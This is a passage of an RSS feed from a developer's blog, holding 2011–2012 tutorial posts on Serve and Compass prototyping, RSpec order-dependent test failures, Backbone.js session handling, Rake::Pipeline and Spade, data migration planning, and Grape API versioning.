&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Let's add our first sass file and check that our setup is working. Add a main.sass to your sass/ subdirectory with the following:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;body
  background-color: red
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Add a line to index.html in the head section to reference the compiled
stylesheet. Notice that we're referencing the compiled css file, not the
original sass source file.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel='stylesheet' type='text/css' href='stylesheets/main.css'&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now start guard with:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;bundle exec guard
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You should see your sass source files compile. Now whenever you make changes
to your sass files, guard will pick them up and recompile your sources.&lt;/p&gt;&lt;h2&gt;Reusable snippets&lt;/h2&gt;&lt;p&gt;When designing, it's common to have a chunk of markup that needs to be reused
over and over. In our example, I'd like to see the design with multiple &lt;code&gt;post&lt;/code&gt;
elements at once. I could duplicate the markup several times, but that's a
pain, and becomes even more painful when you have to change all of the
duplicated markup if you want to make a change. What we ideally want is to
have a separate file for the reusable snippets that we can include as many
times as we'd like.&lt;/p&gt;&lt;p&gt;Serve does exactly that (and more). First let's get it installed by adding it
to our Gemfile.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;gem "serve"  # run "bundle" after editing
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In serve, reusable snippets are called 'partials'. Partials live in a folder
called &lt;code&gt;views&lt;/code&gt; by default. To make a new partial for each individual blog
post, we create a file named &lt;code&gt;_post.erb&lt;/code&gt; with the html of a post:&lt;/p&gt;&lt;pre&gt;&lt;code class="html"&gt;&amp;lt;!-- in views/_post.erb --&amp;gt;
&amp;lt;div class='post'&amp;gt;
  &amp;lt;!-- blog post goes here --&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Whenever we want to reference that partial, we can include it in our other
templates by calling render. For example, if we want to list 5 posts per index page, we can use a simple loop:&lt;/p&gt;&lt;pre&gt;&lt;code class="html"&gt;&amp;lt;!-- in index.html --&amp;gt;
&amp;lt;html&amp;gt;
  &amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;
  &amp;lt;body&amp;gt;
    &amp;lt;div id='header'&amp;gt;
      &amp;lt;a href='#'&amp;gt;Rocky Road Blog&amp;lt;/a&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;div id='main'&amp;gt;
      &amp;lt;div id='post-list'&amp;gt;
        &amp;lt;!-- renders 5 post divs --&amp;gt;
        &amp;lt;%= 5.times.each do %&amp;gt;
          &amp;lt;%= render 'post' %&amp;gt;
        &amp;lt;% end %&amp;gt;
      &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;div id='footer'&amp;gt;
      &amp;lt;p&amp;gt;Copyright 2011 RockyRoadBlog. All rights reserved&amp;lt;/p&amp;gt;
    &amp;lt;/div&amp;gt;
  &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To see this in action, run &lt;code&gt;serve&lt;/code&gt; in your terminal, and visit
&lt;code&gt;http://localhost:4000&lt;/code&gt;. You should see the blog index page with 5 posts in
it.&lt;/p&gt;&lt;h2&gt;Layouts&lt;/h2&gt;&lt;p&gt;Our blog index page is starting to come together. But our blog will have other
pages as well. There'll be an 'About' page and also a page to show a blog post
and it's comments. These pages will share a lot of the same markup (the
header, the footer, the page structure). Rather than pulling out partials for
each of these, we can create a layout. Think of a layout as an inside-out
partial. Instead of specifying which parts are the same, you specify which
part will change. To create our layout, add the following to &lt;code&gt;_layout.erb&lt;/code&gt; in
the views directory.&lt;/p&gt;&lt;pre&gt;&lt;code class="html"&gt;&amp;lt;!-- views/_layout.erb --&amp;gt;
&amp;lt;html&amp;gt;
  &amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;
  &amp;lt;body&amp;gt;
    &amp;lt;div id='header'&amp;gt;
      &amp;lt;a href='#'&amp;gt;Rocky Road Blog&amp;lt;/a&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;div id='main'&amp;gt;
      &amp;lt;%= yield %&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;div id='footer'&amp;gt;
      &amp;lt;p&amp;gt;Copyright 2011 RockyRoadBlog. All rights reserved&amp;lt;/p&amp;gt;
    &amp;lt;/div&amp;gt;
  &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now we can change &lt;code&gt;index.html&lt;/code&gt; to:&lt;/p&gt;&lt;pre&gt;&lt;code class="html"&gt;&amp;lt;div id='post-list'&amp;gt;
  &amp;lt;%= 5.times.each do %&amp;gt;
    &amp;lt;%=  render 'post' %&amp;gt;
  &amp;lt;% end %&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you try and view this in your browser, you'll notice that the loop didn't
render the partial and still looks like ruby code. This is because serve
determines what template language to run on a file based on it's file
extension. So to run ruby code in our index template, we need to rename it to
&lt;code&gt;index.html.erb&lt;/code&gt;&lt;/p&gt;&lt;p&gt;To create our About page, we just need to put the html that's different in
&lt;code&gt;about.erb&lt;/code&gt;&lt;/p&gt;&lt;pre&gt;&lt;code class="html"&gt;&amp;lt;h1&amp;gt;About&amp;lt;/h1&amp;gt;
&amp;lt;!-- about us here --&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Serve figures out the URL paths based on the filename, so you can view this
new file at &lt;a target="_blank" href="http://localhost:4000"&gt;http://localhost:4000&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Layouts and Nested Paths&lt;/h2&gt;&lt;p&gt;Up til now, we've put our html files at the top level folder. This works until
you have multiple pages and multiple layouts. Just like how it figures out
URL's from filename, serve will also pickup nested folders as part of the URL.
For example, if I wanted to create &lt;code&gt;/about/jerry&lt;/code&gt; page that uses a different
layout, I could create the following directory structure:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;rrb
  _layout.erb
  show.html.erb     # show will use rrb/_layout.erb
  about
    _layout.erb
    jerry.html.erb  # jerry will use rrb/about/_layout.erb
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Publishing your prototype&lt;/h2&gt;&lt;p&gt;Once everything looks good, we still need to get feedback from people who may
not have ruby setup. Serve has a nice export utility that will flatten your
all your pages into static html files. To export your prototype, run:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;serve export
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This will dump everything into an &lt;code&gt;html&lt;/code&gt; directory that you can zip up and
share.&lt;/p&gt;&lt;h2&gt;Scaffolded development&lt;/h2&gt;&lt;p&gt;serve is a great tool to use alongside ruby webapp development. Since it's a
rack app, you can mount it alongside your Rails or Sinatra application and
fill out the functionality as you go.&lt;/p&gt;&lt;h2&gt;Design driven prototyping&lt;/h2&gt;&lt;p&gt;Prototyping out the flows and design of an application is a great way to
explore how an application will work. Paper and photoshop prototypes are
great, but actually being able to click through an HTML prototype can help the
design and user experience process. The serve library makes it easy to build
html prototypes by cutting down on the amount of setup work needed to be done.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/zd8iiIuAGuA" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Tue, 24 Jan 2012 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/zd8iiIuAGuA/prototyping-with-compass-and-serve</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2012/01/24/prototyping-with-compass-and-serve</feedburner:origLink></item>
    <item>
      <title>Hunting Down Execution Order Test Failures</title>
      <description>&lt;p&gt;Unit tests should pass when run in random order. But for an existing legacy
project certain tests might depend on the execution order. One test might run
perfectly fine by itself, but fail miserably when run &lt;em&gt;after&lt;/em&gt; another test.
Rather than running different combinations manually, RSpec 2.8 has the option
to run specs in random order with the &lt;code&gt;--order random&lt;/code&gt; flag. But even with
this it can be hard to determine which specific test is causing the
dependency.  For example:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;rspec spec/controllers  # succeeds
rspec spec/lib/my_lib_spec.rb  # succeeds
rspec spec/controllers spec/lib/my_lib_spec.rb  # fails
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In this scenario you know that one of the spec files in spec/controllers is
not jiving with your lib spec, but if you have hundreds of spec files, it's
hard to tell which. Never fear! There's a Ruby one-liner for that:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;ls spec/controllers/*.rb | ruby -pe '$_=`rspec #{$_} spec/lib/my_lib_spec.rb`'
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Let's break this command down into its components:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;ls spec/controllers/*.rb
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;gives you a list of spec files to run alongside your lib spec&lt;/p&gt;&lt;pre&gt;&lt;code&gt;ruby -pe
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;'e' for execute, and 'p' means wrap the code in a loop and assign  each line of STDIN to &lt;code&gt;$_&lt;/code&gt;. We're piping in STDIN from the &lt;code&gt;ls&lt;/code&gt; command.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$_=`rspec #{$_} spec/lib/my_lib_spec.rb`
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The 'p' flag also prints out the value of &lt;code&gt;$_&lt;/code&gt; at the end of each loop. So we assign the output of running rspec with the 2 files (one from ls alongside &lt;code&gt;my_lib_spec&lt;/code&gt;).&lt;/p&gt;&lt;p&gt;My bash buddies would wag their fingers at me for using a ruby one-liner here,
but it's a familiar syntax and it's easier for me than remembering other
shell commands and regex flags. If there's something another unix program is
better at processing, then I can then take the output of the ruby one-liner
and pipe it into another command. It's a very simple and versatile way to
munge on text.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/3LErAHyY-y4" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Wed, 11 Jan 2012 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/3LErAHyY-y4/hunting-down-execution-order-test-failures</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2012/01/11/hunting-down-execution-order-test-failures</feedburner:origLink></item>
    <item>
      <title>Backbone.js: Sessions and Authentication</title>
      <description>&lt;p&gt;&lt;em&gt;Republished from &lt;a href="http://blog.opperator.com"&gt;Opperator blog&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Building an API driven Javascript app brings about challenges for authentication that I've taken for granted when working with traditional http frameworks. In this post, I'll outline the basic concepts of what a session is, and how we manage sessions with Backbone.js.&lt;/p&gt;&lt;p&gt;HTTP is a stateless protocol. This means that nothing is remembered from one request to the next. This is great for normal content sites, but lacking when building a webapp. A normal HTTP request lifecycle looks like this:&lt;/p&gt;&lt;p&gt;&lt;img src="/images/backbonejs-http.png" alt=""&gt;&lt;/p&gt;&lt;p&gt;But for webapps, we need to have a concept of a logged in user and unauthenticated user. Web frameworks hide this in a Session abstraction. The gist of how an authentication request flow works look like:&lt;/p&gt;&lt;p&gt;&lt;img src="/images/backbonejs-auth-http.png" alt=""&gt;&lt;/p&gt;&lt;p&gt;First a user will submit a login form to the backend. Instead of just returning a response, the backend will generate and remember a session id that it can use to look up this particular login for later requests. This session id is passed back to the client as a cookie value.&lt;/p&gt;&lt;p&gt;Now whenever the client makes a request, the cookie will also be sent to the backend. The backend can then check to value to know whether the user is authenticated and authorized to access the resource they're requesting.&lt;/p&gt;&lt;p&gt;With the theory part out of the way, here's how we structured authentication in Backbone.js. First, we created a Session model.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;App.Models.Session = Backbone.Model.extend
  defaults:
    access_token: null,
    user_id: null

  initialize: -&amp;gt;
    @load()

  authenticated: -&amp;gt;
    Boolean(@get("access_token"))

  # Saves session information to cookie
  save: (auth_hash)-&amp;gt;
    $.cookie('user_id', auth_hash.id)
    $.cookie('access_token', auth_hash.access_token)

  # Loads session information from cookie
  load: -&amp;gt;
    @set
      user_id: $.cookie('user_id')
      access_token: $.cookie('access_token')
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This model has a simple and straightforward interface. When it's initialized, it looks for an existing login with the &lt;a href="https://github.com/carhartl/jquery-cookie"&gt;jQuery cookie&lt;/a&gt; plugin. If it finds this information, it'll set the &lt;code&gt;access_token&lt;/code&gt; and &lt;code&gt;user_id&lt;/code&gt; for later use. Once an &lt;code&gt;access_token&lt;/code&gt; is set, then the &lt;code&gt;authenticated&lt;/code&gt; method will return true.&lt;/p&gt;&lt;p&gt;In our main application, we'll have a single entry point for our application that'll route the user the based on whether they're authenticated or not.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;App.start = -&amp;gt;
  @session = new App.Models.Session()
  if @session.authenticated()
    # redirect to user page
  else
    # launch a login form
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;With this, all of your pages can run &lt;code&gt;App.start()&lt;/code&gt; at the bottom of a page to initialize any authentication logic.&lt;/p&gt;&lt;p&gt;Backbone.js makes no assumptions about what you're using for generating sessions in your backend. In our app, we're using oauth authentication, which is why our key is named &lt;code&gt;access_token&lt;/code&gt;, but this pattern can be applied to whatever authentication system your backend uses.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/nyb9NhwEAvM" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Wed, 11 Jan 2012 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/nyb9NhwEAvM/backbonejs-sessions-and-authentication</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2012/01/11/backbonejs-sessions-and-authentication</feedburner:origLink></item>
    <item>
      <title>Useful Libraries: Rake::Pipeline and Spade</title>
      <description>&lt;p&gt;&lt;em&gt;Republished from &lt;a href="http://blog.opperator.com"&gt;Opperator blog&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;In doing research for whether Ember.js would be a good fit for Opperator, I
took some notes about the process.  I came across two useful libraries used in Ember.js that I hadn't heard of
before.
&lt;a href="http://rubydoc.info/github/livingsocial/rake-pipeline/master/file/README.yard"&gt;Rake::Pipeline&lt;/a&gt;
helps package code assets together, and
&lt;a href="https://github.com/charlesjolley/spade"&gt;spade&lt;/a&gt; is a Javascript dependency
manager. Here's a quick overview of what they do, and how you can use them in your project.&lt;/p&gt;&lt;h2&gt;Rake::Pipeline&lt;/h2&gt;&lt;p&gt;From the Rake::Pipeline docs:&lt;/p&gt;&lt;blockquote&gt;
&lt;p&gt;Rake::Pipeline is a system for packaging assets for deployment to
the web. It uses Rake under the hood for dependency management and
updating output files based on input changes.&lt;/p&gt;
&lt;/blockquote&gt;&lt;p&gt;Think of Rake::Pipeline as a lighter and simpler Sprockets. It allows you to
declaratively match filenames with regexps, and then run those matched files
through custom filter classes. Here's an easy example of how to concatenate
all files that end in .js, and then slap a license on the top&lt;/p&gt;&lt;pre&gt;&lt;code&gt;# Assetfile
input  "app/assets/javascripts"
output "public/javascripts"

class LicenseFilter &amp;lt; Filter
  LICENSE = File.read('LICENSE')

  def generate_output(inputs, output)
    output.write LICENSE
    output.write "\n"
    output.write inputs.map(&amp;amp;:read).join("\n")
  end
end

match "*.js" do
  filter Rake::Pipeline::ConcatFilter, "application.js"
  filter LicenseFilter
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;First you declare where you want your base input and output directory paths
should be. The &lt;code&gt;input&lt;/code&gt; directory will be where files will be matched up
against. Next we define our own custom LicenseFilter, which is used to prefix
input files with the contents of our LICENSE file. As you can guess from the
arguments of the &lt;code&gt;generate_output&lt;/code&gt; method, each element in the &lt;code&gt;inputs&lt;/code&gt; array
is an &lt;code&gt;IO&lt;/code&gt; object that you can read from, and &lt;code&gt;output&lt;/code&gt; is the destination of
what you're writing.&lt;/p&gt;&lt;p&gt;Finally, we use the &lt;code&gt;match&lt;/code&gt; block to specify that we want all files that end
in .js to be run through the &lt;code&gt;Rake::Pipeline::ConcatFilter&lt;/code&gt; and output to
&lt;code&gt;public/application.js&lt;/code&gt;. Then we run our &lt;code&gt;LicenseFilter&lt;/code&gt; against the final
file to prefix our license.&lt;/p&gt;&lt;h2&gt;Spade&lt;/h2&gt;&lt;p&gt;Spade is a package manager and file loader that reminds me of
&lt;a href="http://npmjs.org/"&gt;NPM&lt;/a&gt;. The goal of the library is to be able to package and
require modules that can be run in a terminal and also in the browser. The
browser part is obvious, but being able to run from the terminal is quite
useful. For example, you can have an npm-like module named 'awesome-module', and from a terminal do:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;spade preview  # opens in a browser with your module loaded
spade console  # start interactive repl
&amp;gt; require('awesome-module/main)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Alongside with &lt;a href="https://github.com/tomdale/spade-qunit"&gt;spade-qunit&lt;/a&gt;, you can
easily separate a library into a bunch of packages, test them separately, and
view the results in a browser.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/jVymm6l7Bjc" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Mon, 19 Dec 2011 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/jVymm6l7Bjc/useful-libraries-rake-pipeline-and-spade</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2011/12/19/useful-libraries-rake-pipeline-and-spade</feedburner:origLink></item>
    <item>
      <title>Planning a Big Data Migration</title>
      <description>&lt;p&gt;It doesn't matter if data is being migrated from SQL to NoSQL, from flat
files to key-value store, or from XML to an object database, or every
permutation of any data store to any other data store. What stays constant is
the fact that data migrations are scary and painful. Without the right strategy, a big
data migration will leave you with inconsistent data, strange errors, and very
angry users. Read on for a data migration checklist that'll save you days of
headache.&lt;/p&gt;&lt;p&gt;It doesn't matter if data is being migrated from SQL to NoSQL, from flat
files to key-value store, or from XML to an object database, or every
permutation of any data store to any other data store. What stays constant is
the fact that data migrations are scary and painful. Without the right strategy, a big
data migration will leave you with inconsistent data, strange errors, and very
angry users. Read on for a data migration checklist that'll save you days of
headache.&lt;/p&gt;&lt;h2&gt;Backup&lt;/h2&gt;&lt;p&gt;Before even considering a massive destructive mutation of your data, you
should have working backups. The keyword is &lt;strong&gt;"working"&lt;/strong&gt;. Take production
dumps of your data, and make sure you can load the same data on a cloned
environment. If anything goes wrong when migration day comes along, these
backups will be your last line of defense. Backups are also useful for doing
practice runs of a migration.&lt;/p&gt;&lt;h2&gt;Logging&lt;/h2&gt;&lt;p&gt;Create a logger that logs to a separate place from your application logs
that's specific for the migration. When the migration is running, the logger
should warn on strange data and error on exceptional cases. To keep the log
useful, it's important not to flood it with debugging information. Log only
the most important details needed for troubleshooting problems: a timestamp,
an id reference to the failing record, and a brief description of the failure
reason.&lt;/p&gt;&lt;h2&gt;Atomicity&lt;/h2&gt;&lt;p&gt;Regardless of whether the destination data store supports transactions or not,
the migration should always define an invariant for when a record is
successfully imported. If this invariant is broken, then whatever has been
done to break the invariant should be undone so that your data isn't in some
zombie half consistent state.&lt;/p&gt;&lt;h2&gt;Idempotence&lt;/h2&gt;&lt;p&gt;Not strictly the definition of
&lt;a href="http://en.wikipedia.org/wiki/Idempotence"&gt;idempotence&lt;/a&gt;, but similar to
maintaining consistency, your code should be able to handle re-migrating the
same data. If the migration crashes halfway, having this property allows you
restart and import again without worrying about weird state issues.&lt;/p&gt;&lt;h2&gt;Batch Processing&lt;/h2&gt;&lt;p&gt;Having atomicity and idempotence lets your migration be split up into smaller
migrations. Instead of migrating a million records in an all-or-nothing
migration and crossing your fingers, you can split them up into small 500
record batches. If any single batch fails, you can redo just that single
batch, rather than redo the entire migration. This also allows you to balance
the migration across more resources like multiprocessors, different servers,
and different slave databases.&lt;/p&gt;&lt;h2&gt;Validation&lt;/h2&gt;&lt;p&gt;After a migration is complete, it's important to be able to validate that
everything is still working. This means running your test suite, your
integration tests, and also logging in as existing users and clicking around.&lt;/p&gt;&lt;h2&gt;Live Migrations&lt;/h2&gt;&lt;p&gt;Running a migration with scheduled downtime is hard enough as it is, but in
certain applications, a big chunk of downtime is unacceptable. If this is the
case, then it's critical to add bookkeeping code that tracks which records has
been migrated and which haven't. This allows you to query and incrementally
upgrade parts of your system while co-existing with old data and old code.&lt;/p&gt;&lt;h2&gt;Plan Ahead&lt;/h2&gt;&lt;p&gt;Data migrations will always be a chore. But with the right strategy, at least
it'll be one that can be finished, rather than something that drags along and
repeatedly slows down your whole team.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/gzU_lANfcuU" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Thu, 1 Dec 2011 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/gzU_lANfcuU/planning-a-big-data-migration</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2011/12/01/planning-a-big-data-migration</feedburner:origLink></item>
    <item>
      <title>Behind the Curtain: Grape API Versioning</title>
      <description>&lt;p&gt;&lt;em&gt;Republished from &lt;a href="http://blog.opperator.com/post/13546958887/grape-api-versioning"&gt;Opperator blog&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;strong&gt;Behind the Curtain&lt;/strong&gt; posts explore the development of a piece of Opperator's architecture, including the what, why, and how.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://github.com/intridea/grape"&gt;Grape&lt;/a&gt; is a Ruby framework for building
restful APIs on the web. We're using it extensively to build
&lt;a href="http://opperator.com"&gt;Opperator&lt;/a&gt;. Out of the box, Grape has built-in support
for versioning your APIs. There's general information about how to use
versioning in the Grape README and the wiki, but this post is more about
digging into the nitty-gritty and discussing some of the design decisions and
implementation details that've been merged in recently.&lt;/p&gt;&lt;h2&gt;Path Based Versioning&lt;/h2&gt;&lt;p&gt;Previously, Grape supported API versioning by prefixing the version name in
the url.  For example:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class MyAPI &amp;lt; Grape::API
  version :v1

  # GET /v1/cows
  get '/cows' do
    # retrieve bovine goodness
  end
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;When &lt;code&gt;version&lt;/code&gt; is called, the version names are passed into
&lt;code&gt;Grape::Middleware::Versioner&lt;/code&gt; &lt;a href="https://github.com/intridea/grape/blob/ca7ad7d29799fec6bddc4a0639004b7ff3b85f77/lib/grape/middleware/versioner.rb"&gt;pre-refactored
file&lt;/a&gt;
When a request comes in, the middleware looks for a matching version in the
path. If it finds the version, it rewrites the path info without the version
prefix, sets &lt;code&gt;env[api.version]&lt;/code&gt;, and moves along it's merry way. If no version
is matched, then a 404 is thrown.&lt;/p&gt;&lt;h2&gt;Header Based Versioning&lt;/h2&gt;&lt;p&gt;This works as you'd expect, but introduces your versioning scheme into your
resource uri's. Workable, but it messes up those pretty restful uris.
Fortunately, the HTTP protocol &lt;a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html"&gt;Accept
header&lt;/a&gt; is a perfect
fit for this problem. RFC 2616 defines the Accept header as:&lt;/p&gt;&lt;blockquote&gt;
The Accept request-header field can be used to specify certain media types
which are acceptable for the response. Accept headers can be used to indicate
that the request is specifically limited to a small set of desired types, as
in the case of a request for an in-line image.
&lt;/blockquote&gt;&lt;p&gt;While the example the RFC gives is related to multimedia, if you squint and
replace the references to media with 'version', then you have a good overview
of header based API versioning. This Accept header field can be used to scope
a request to a specific API version. For example, the &lt;a href="http://developer.github.com"&gt;Github
API&lt;/a&gt; understands the following Accept header:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Accept: application/vnd.github-v1+json
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The client who sent this header is asking the server "Hey Github, can you give
me a responses that is version v1 and formatted in JSON?". When Github sees
this request, it can do one of two things. If it's able to answer the
question, then it processes the request as normal. However, if Github doesn't
understand the Accept field value, then it should send a 406 Not Acceptable
response.&lt;/p&gt;&lt;p&gt;Revisiting our code sample, we would define our API as follows:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class MyAPI &amp;lt; Grape::API
  version :v1, :using =&amp;gt; :header, :vendor =&amp;gt; 'intridea', :format =&amp;gt; :json

  # GET /cows
  get '/cows' do
    # retrieve bovine goodness
  end
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Header based versioning is the new default versioning strategy, but I
explicitly specified it in the example for clarity. The &lt;code&gt;vendor&lt;/code&gt; option is new
and is a way to describe the vendor providing this API, and the &lt;code&gt;format&lt;/code&gt;
option is the expected response format. Similar to path based versioning,
&lt;code&gt;Grape::Middleware&lt;/code&gt; is responsible for figuring out the version being
requested and setting &lt;code&gt;env[api.version]&lt;/code&gt;. But since there are now multiple
strategies for handling versions, &lt;code&gt;Grape::Middleware::Versioner&lt;/code&gt; has been
split into two middlewares. &lt;code&gt;Grape::Middleware::Versioner::Path&lt;/code&gt; is the
original path based middleware, and &lt;code&gt;Grape::Middleware::Versioner::Header&lt;/code&gt; is
the new kid on the block. &lt;a href="https://github.com/intridea/grape/blob/12e44781d7e825644dba5ad52e98c95239923e74/lib/grape/middleware/versioner/header.rb"&gt;Relevant commit
here&lt;/a&gt;&lt;/p&gt;&lt;p&gt;This new middleware will use the following format in the Accept header when
matching for versions:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;application/vnd.:vendor-:version+:format
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;These are the fields that are original declared when &lt;code&gt;version&lt;/code&gt; was first
called. If the middleware is able to match these fields, then the endpoint is
called with some extra environment variables 'api.vendor', 'api.version', and
'api.format'. If the version couldn't be matched, then the middleware returns
404 &lt;strong&gt;and also sets the X-CASCADE header to pass&lt;/strong&gt;. That last part is
important because it allows &lt;a href="https://github.com/josh/rack-mount"&gt;Rack::Mount&lt;/a&gt;
to keep looking for other endpoints which might match the version.&lt;/p&gt;&lt;p&gt;You can also control the routing behavior when no Accept header is specified
with the &lt;code&gt;strict&lt;/code&gt; option. If &lt;code&gt;strict&lt;/code&gt; is set to true, then a 404 will be
returned when no Accept is set. If &lt;code&gt;strict&lt;/code&gt; is false, then the first matched
endpoint is returned. This is inline with the RFC definition and basically
means that the client doesn't care which version the server responds with.
Most likely, if &lt;code&gt;strict&lt;/code&gt; is set to false, you'd like to use the latest
available version. To achieve this, you should mount your latest version as
high as possible (similar to routes precedence in Rails)&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class MyAPI &amp;lt; Grape::API
  # version v2 has higher precedence than v1
  version :v2, :strict =&amp;gt; false do
    get '/cows' do
    end
  end

  version :v1 do
    get '/cows' do
    end
  end
end
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Custom Versioning Strategies&lt;/h2&gt;&lt;p&gt;Currently, path and header based versioning are what's understood, but we've
opened up the possibility of custom versioning strategies. Prefer to do domain
based versioning? Or IP-based versioning? If you want to get really wacky, you
can even version based on the lunar calendar.&lt;/p&gt;&lt;p&gt;Extra thanks goes out to &lt;a href="https://github.com/jwkoelewijn"&gt;jwkoelewijn&lt;/a&gt; for
creating the initial feature branch and kicking off the discussion.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/76SsbQ1i5gY" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Wed, 30 Nov 2011 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/76SsbQ1i5gY/grape-api-versioning</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2011/11/30/grape-api-versioning</feedburner:origLink></item>
    <item>
      <title>Developers, what are you thankful for?</title>
      <description>&lt;p&gt;&lt;em&gt;Republished from &lt;a href="http://blog.opperator.com"&gt;Opperator blog&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="http://media.tumblr.com/tumblr_lv2p4i5t8t1qzscwd.png" alt="Gobble Gobble"&gt;&lt;/p&gt;&lt;p&gt;With the year coming to a close and the holidays fast approaching, it's a
good time to step back and reflect on how lucky we are to be developers in
this point in history. Below's a list of things that we're thankful for.&lt;/p&gt;&lt;h2&gt;Jerry's List&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;Webhooks:&lt;/strong&gt; As a kid, I loved legos. There's something magical about
taking a bunch of colorful rectangular blocks and turning it into something
recognizable. Software development is like legos, but with more block types.
And as a web developer, web hooks are our version of lego expansion packs.
You can build your own expansion and share it with the world. Oh, and on top
of that, when you finish, you end up with something &lt;em&gt;useful&lt;/em&gt;. How cool is
that?&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Emacs:&lt;/strong&gt; I first used emacs in my first computer science class at Cal
(CS61A Go Bears!). While most of my friends are Vim snobs, Emacs will always
have a special place in my toolbox. The endless customization is addictive
and the macro capabilities can't be beat. The UX/UI leaves something to be
desired, and someday I hope to write the beautiful UI wrapper that it
deserves.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Ruby:&lt;/strong&gt; This one's obvious. Whether I'm using it in Rails for web
development, hacking on &lt;a href="http://github.com/intridea/grape"&gt;Grape&lt;/a&gt; for APIs,
